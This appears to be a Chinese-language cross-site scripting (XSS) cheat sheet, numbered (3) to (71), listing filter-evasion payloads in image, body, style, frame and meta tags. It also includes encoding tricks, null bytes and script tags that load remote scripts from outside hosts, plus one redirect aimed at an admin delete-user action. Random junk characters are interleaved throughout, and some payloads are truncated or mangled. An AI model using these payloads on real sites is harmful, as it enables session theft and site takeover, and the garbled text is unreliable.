# ]9 g7 ?6 w' z% p+ x1 b/ L (3)IMG标签无分号无引号. F i* a. {( K* i7 R; V. l* @+ j
<IMG SRC=javascript:alert(‘XSS’)> 1 r( a; S# Y) B 3 C& O. q7 h% N (4)IMG标签大小写不敏感$ s3 u% Y0 a3 B
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>: b; l5 n z [
8 K! @$ L* X" I$ { (5)HTML编码(必须有分号)8 O K5 R: c) ^8 C' E% o
<IMG SRC=javascript:alert(“XSS”)>3 g% R% Q$ q& |9 L/ u$ n; h: J* M
6 d) p; X1 q! }/ i; T/ o4 q, F9 ` (6)修正缺陷IMG标签 6 T% G) ?5 n2 K2 f3 ^ <IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”> X5 g0 I1 {8 i! t: T, h8 R7 t+ _8 _" o C5 x
(7)formCharCode标签(计算器)0 M4 m8 a" ^$ `; x6 \8 f
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> 0 m1 H. v I2 P+ L- ]' F& G4 A$ d; R% G
(8)UTF-8的Unicode编码(计算器)' G' o' K* x: M* M/ R+ [# f
<IMG SRC=jav..省略..S')>/ I7 H4 O* A& f1 ]2 h1 _
0 Y5 ^3 S( C: Y p2 V
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)1 m; w5 I+ F6 u1 D
<IMG SRC=jav..省略..S')> r) X) f0 p1 L . w& s' k/ z G1 }8 a (10)十六进制编码也是没有分号(计算器) " e. D, X' ^9 z/ x: I <IMG SRC=java..省略..XSS')> : F6 S8 e7 `! t& F- A# K+ e1 k$ e. |# `) M
(11)嵌入式标签,将Javascript分开 * m7 n ^7 {! `! T& p <IMG SRC=”jav ascript:alert(‘XSS’);”> ; b- w! I% S* w* w4 M - ^, q8 z' w( r& n, G$ Y (12)嵌入式编码标签,将Javascript分开 3 E6 N8 n& G9 s5 [6 n" T <IMG SRC=”jav ascript:alert(‘XSS’);”>$ X, e' E! T7 f5 H6 V8 l; C
, b5 l# u0 g, [2 h, V4 y
(13)嵌入式换行符4 g0 Z" A% {& ?$ V. i
<IMG SRC=”jav ascript:alert(‘XSS’);”>, l7 J7 Y% @- X( n" X q# B
" }5 B: T, a) }1 f (14)嵌入式回车 * K$ Q$ N/ U, E2 B% e <IMG SRC=”jav ascript:alert(‘XSS’);”> * _1 n( H; }7 t$ `$ i. e5 M 0 q2 E7 t9 L5 z$ c5 V; w( v (15)嵌入式多行注入JavaScript,这是XSS极端的例子 2 `7 }( A3 G* b5 q. X: Z7 r <IMG SRC=”javascript:alert(‘XSS‘)”>3 a$ G, H U8 H j% y( D
) V# L% V1 W4 @; ~, e
(16)解决限制字符(要求同页面) 8 r$ |9 H5 z h/ l! c <script>z=’document.’</script> 8 ] p, q1 J$ U D: ^" H/ K* V <script>z=z+’write(“‘</script> ' m2 f+ z0 y1 w# y7 Z, T <script>z=z+’<script’</script> " C4 k* _" \3 C/ _3 S% x9 I7 o <script>z=z+’ src=ht’</script>) t6 _- b6 _( t( \' b" b( ]+ P
<script>z=z+’tp://ww’</script> $ ~4 J& C7 e+ p( k <script>z=z+’w.shell’</script> ' o0 l" K9 ^% B- Y6 T <script>z=z+’.net/1.’</script>( O0 O5 T+ p! M0 z: o
<script>z=z+’js></sc’</script>) A2 D, ^; g% L. {
<script>z=z+’ript>”)’</script>3 F& `' N. S7 q; S2 E6 Y3 Z+ B+ o
<script>eval_r(z)</script> 0 C; K9 I/ o1 ~$ o 1 v' J8 I2 Q h% h1 Y; i) {% ` (17)空字符 5 h# C' h: [5 P; z perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out9 [) n2 V- s& L* L
' T+ a9 p2 E: O2 i; p% v& N( w (18)空字符2,空字符在国内基本没效果.因为没有地方可以利用 . \/ E+ h/ k' u3 h perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out: ]8 o9 @9 W" Y% }+ |# ^
& r$ [2 X2 O; B4 J
(19)Spaces和meta前的IMG标签 6 q+ c. x6 i! \4 s {5 t: i0 {; D0 ~ <IMG SRC=” javascript:alert(‘XSS’);”>3 W3 H7 X( w) M* E3 Y0 b4 O
4 F4 [$ Y# L9 Q/ V' K0 O# u
(20)Non-alpha-non-digit XSS 6 |6 s4 T% M1 N) a) x& P/ ~ <SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>+ a: o( Z: ?6 p0 @, r
- ^" P, D- U0 q8 W2 E
(21)Non-alpha-non-digit XSS to 2 3 ~# p- S( M9 z/ g' V3 N <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)> u7 y9 y5 b3 o- j3 _! E7 |6 t % ~( c4 m4 ]3 l. |' s I (22)Non-alpha-non-digit XSS to 3" D! Z# |" Z$ S3 a0 M" m) b: a
<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>" Z: X6 `8 z. W! J
# V. q7 ~& Q7 R3 |" ~8 L (23)双开括号 % D Q! Z# d9 `: l <<SCRIPT>alert(“XSS”);//<</SCRIPT> ! q. n. c4 B7 S7 M. `8 h* p( z% m. a2 [. B t( S
(24)无结束脚本标记(仅火狐等浏览器)4 g5 F% ]1 t, ~& Y1 e! b# z
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>! n0 v7 M8 B8 f$ `8 T& |; d
4 q9 ~, B6 F0 w+ F (25)无结束脚本标记2 9 K) d2 l F( Y1 T; F$ \ <SCRIPT SRC=//3w.org/XSS/xss.js> : T w# _! S- |% j5 G! y" c: q( e6 D* A4 b1 T0 g
(26)半开的HTML/JavaScript XSS2 c2 N" M# U! d* S( x+ g( Y, S
<IMG SRC=”javascript:alert(‘XSS’)” / ]0 W( \, w( A( Q7 o$ { 7 l' b! P2 x# G% w9 C* Q5 E1 t (27)双开角括号: j8 W. z! X6 \5 k
<iframe src=http://3w.org/XSS.html < : L) ~& y2 B: C7 R# ]! \7 j) h 2 R* |; ]6 \# J/ Y (28)无单引号 双引号 分号7 v. l' z8 [7 e* I0 y
<SCRIPT>a=/XSS/ 7 G( w0 g) f. T1 f; Q alert(a.source)</SCRIPT> / {( t, j1 [+ V( R7 A & s+ a2 q: g9 c* O( n3 l0 N (29)换码过滤的JavaScript! ]% P @* |" M! G
\”;alert(‘XSS’);// % a& n# h+ ?* H" F' c2 _1 Q: k' F9 p- t* h/ W
(30)结束Title标签 1 ~5 d/ ~% _9 W6 A/ U8 ?$ F </TITLE><SCRIPT>alert(“XSS”);</SCRIPT> 7 C1 C! B; y# a( J! b8 k1 }/ P' Y5 I3 @
(31)Input Image 4 z1 Q4 U/ i" W- ~* F/ I <INPUT SRC=”javascript:alert(‘XSS’);”> 4 S" M- W7 }; v( s% x; x 4 _4 E! u1 E. ~ (32)BODY Image2 I8 n, F2 P0 v7 a8 R' y3 R
<BODY BACKGROUND=”javascript:alert(‘XSS’)”> + r& d1 s9 @" o6 h$ l$ J # t' g, {9 t: i4 X. ` (33)BODY标签 7 t" v" G+ @! _ <BODY(‘XSS’)>9 R( x j# ?; Y6 _. M- o
- J$ {2 m- L+ R9 l( ]
(34)IMG Dynsrc + H& B- P/ L0 B9 `8 L <IMG DYNSRC=”javascript:alert(‘XSS’)”>' ?9 Q3 `$ g% [: f9 O. l2 K6 k
7 O0 Q8 _/ ]; t. p% a2 f! Y, x (35)IMG Lowsrc0 f3 s# b3 {1 g% r6 D
<IMG LOWSRC=”javascript:alert(‘XSS’)”> - i7 `- U6 `+ J. x : F( e+ A& A8 a$ f. z (36)BGSOUND : @4 u4 [$ H# G' y <BGSOUND SRC=”javascript:alert(‘XSS’);”> ' B$ n: X! c8 x4 b$ o; K9 U 9 O, U! @5 @6 t+ V9 j0 e9 l+ H (37)STYLE sheet* e5 h0 h# C) O
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>1 q- ?: c/ U; T' V5 G
, X" W7 ~% a: Q9 ^9 I) c! y
(38)远程样式表 * |. v( R( E% F <LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”> - O* ^# Q3 B( v9 U* k, i + X% y$ F b6 o, Z8 s3 o (39)List-style-image(列表式)& d# c K# c7 x& ^
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS 0 e6 V$ Q" \+ B1 Q4 }1 R$ O8 V) P8 w" N7 x5 _- N" S; u! t6 v
(40)IMG VBscript. u8 @" r1 `% I# M$ `( {
<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS 6 t) _1 v. \3 \8 Z2 g4 _ & `9 A$ n: K+ b2 O' u8 P0 \' H9 o (41)META链接url 6 g$ s) f5 q# z' y9 | <META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”> ( I# D0 X c0 A ( J. O, O0 K! |+ B# A& X: @ W (42)Iframe5 Y/ l7 r6 t+ P, d9 \- d* G
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>0 u& h# K( C) j2 k8 S
) G8 l3 I/ |# P1 E- C1 D
(43)Frame & ^ v! j$ Q* a) ~1 h9 X0 w( L0 c <FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>5 D" q2 w& r+ d6 h* h
+ N+ g7 x* \; S( J& ]& F7 T
(44)Table$ J- v7 g; s4 Q. p$ H
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”> # T+ z$ E6 m/ \0 v: Z' V9 r2 p |0 p; N# H( h
(45)TD$ o! z( k; _+ [
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”> 0 g4 F! H9 \0 I C$ ]- B' X' ~( L2 c. {3 j
(46)DIV background-image5 G3 S8 L2 x" p: v5 E1 N& F
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”> , ]# L7 v8 `" o" F 7 h7 K' b5 ]: r9 L. n3 n2 E$ x (47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279) $ `0 [% ^/ P0 V% w: u! ]. i! o <DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>: p1 d( e5 _5 |/ I' ^- o
# W5 h* g2 Y, v4 o
(48)DIV expression9 x8 T& D# a( ^7 \$ w( m+ j7 W
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>9 Q! m* G& Z: v# s2 u
8 Q, d9 d- w2 d% ?$ B, v! G3 D (49)STYLE属性分拆表达 5 _% U0 p( u2 D5 _ <IMG STYLE=”xss:expression_r(alert(‘XSS’))”> 3 H+ @- x* K1 g/ V7 X6 Q; x. ^4 [6 }8 o* |$ B. G" k
(50)匿名STYLE(组成:开角号和一个字母开头)2 E7 k* c: X g4 `5 q8 y- q/ j0 d H$ O
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”> 0 l+ {. O9 z9 a- \ : x( u# Z$ W2 r8 f0 ` (51)STYLE background-image % ?8 ^; g0 D/ H {& L& C0 c <STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A> * q% `8 v8 y' x4 W$ B6 i/ L( W: k4 V( T* y0 f+ n1 d+ f5 O
(52)IMG STYLE方式/ K' g' Y: f. R/ `' a5 G2 m, v3 ~
exppression(alert(“XSS”))’> 5 L, g8 h' e8 x0 T+ U8 Q5 g 5 v) X- g$ H' p+ ^/ `7 l" L (53)STYLE background & a7 r i9 }! r. ]2 Y <STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>6 [) Y$ g. X ^3 C% F
. Z$ ~6 q. {( i( {+ [/ x (54)BASE/ U4 H) N5 i4 M1 v3 A9 c+ W
<BASE HREF=”javascript:alert(‘XSS’);//”>2 ^! g4 {( B2 \' E6 Y1 o3 L
% v. ]( r* [( B$ w6 {* `9 c
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS ' l1 a3 A6 N) s5 L1 N <EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED> ; a. |- M2 M% Y4 i , ~; Q3 v$ h5 j& i (56)在flash中使用ActionScrpt可以混进你XSS的代码 + V8 b2 W3 t8 n/ S a=”get”;3 v |8 }0 J/ C2 p3 M
b=”URL(\”"; 0 W/ r' q _3 N c=”javascript:”;; T+ g" g( w& O+ K) c" z
d=”alert(‘XSS’);\”)”; # U+ c, j9 G+ `# W2 i& R eval_r(a+b+c+d); 3 L& J( l; i7 v) t6 I! R + a5 Y) l3 \& S: q/ R! y (57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上, w: P1 G* c0 y, h3 [ V2 C* P
<HTML xmlns:xss>: T* `" b. u/ u/ R4 ^5 V3 z
<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”> 9 q) K' H3 f# H! p- F/ H8 B <xss:xss>XSS</xss:xss> & j3 p$ C6 A! O2 m. W6 j/ w( [ </HTML>3 `# P5 F& Z/ r4 \4 O T
6 d( a+ T# i7 E: E5 L2 W% R. D* x (58)如果过滤了你的JS你可以在图片里添加JS代码来利用$ W" W7 m& A, |% ]% `( ?
<SCRIPT SRC=””></SCRIPT> ( `6 z6 u: l. G% v9 c" T& u* {5 z$ b* L+ ? x; X/ u. c
(59)IMG嵌入式命令,可执行任意命令- ?5 Y) ~/ A2 {8 R8 H1 g8 d$ [' u
<IMG SRC=”http://www.XXX.com/a.php?a=b”> / ^) m3 z* x! l6 V( k+ ~ : w: R& c& |1 O1 } (60)IMG嵌入式命令(a.jpg在同服务器) , S) L; Z' V) K9 ] Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser, O, N, o( r. N3 q- T! j6 k
0 F0 B: R0 ^( `
(61)绕符号过滤 ( t1 V) o# k6 S% c5 E <SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>1 h- s- L/ H1 E% L* v$ Z9 k
/ m; Q; T5 s9 e0 G$ D+ l! }* ?
(62) 2 V: f6 B4 ?3 B( l" Y" T <SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT> " |9 ~+ G% P+ \& ]' R5 x 8 L' k/ a ]+ Y& C2 K) @4 X" l (63) * W8 F8 ^. i/ @! E- E <SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT> 3 @' F& ^$ E- p5 ? & u+ _* |& b; }$ b2 N# Y (64) 8 I. i1 @) ~8 s# x) U3 E/ \ <SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT> 7 h2 Z! x/ R% f" | # w6 Y8 J( o) w (65)& [! c$ V% @* Z
<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>: p0 t3 s) r1 u- r
4 z0 G0 K3 \: d+ B9 {4 B5 e' m: j (66) ' i) {$ t2 g* X6 a" t; k <SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>" B3 b2 d$ S8 R/ h
: Q4 p8 m1 y) H& a
(67) g7 j+ A+ g2 Q5 b <SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT> 3 H G$ r! @; o& ~, w- e) G 0 ~0 s @, I! [, o- Z (68)URL绕行) M3 Q1 |* D% g' ^4 D* L
<A HREF=”http://127.0.0.1/”>XSS</A> , V& ?( V; s: e 1 ?) d; }+ C9 \( O (69)URL编码/ t2 @: K' N# u" M) F1 Y
<A HREF=”http://3w.org”>XSS</A> % g; i; B! ^: }% q# ?! E4 z : m* p# z Z$ s4 y H (70)IP十进制 * I! V" \9 R/ M; N% _" L6 J <A HREF=”http://3232235521″>XSS</A> * I" }" u7 _+ d" B( V3 X. w8 T* ?9 P" P5 u' f3 e' ~
(71)IP十六进制6 E+ H- V3 L$ x
<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>" t) O( g, p U& n- Y